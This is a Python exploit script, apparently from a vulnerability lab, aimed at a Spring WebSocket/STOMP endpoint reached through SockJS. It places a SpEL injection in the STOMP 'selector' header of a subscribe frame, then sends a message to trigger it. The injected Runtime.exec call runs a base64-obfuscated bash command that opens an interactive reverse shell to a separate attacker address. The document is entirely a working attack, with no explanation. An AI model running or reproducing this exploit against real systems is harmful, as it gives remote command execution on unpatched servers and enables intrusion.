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| #!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://192.168.3.109:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNjEvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
|
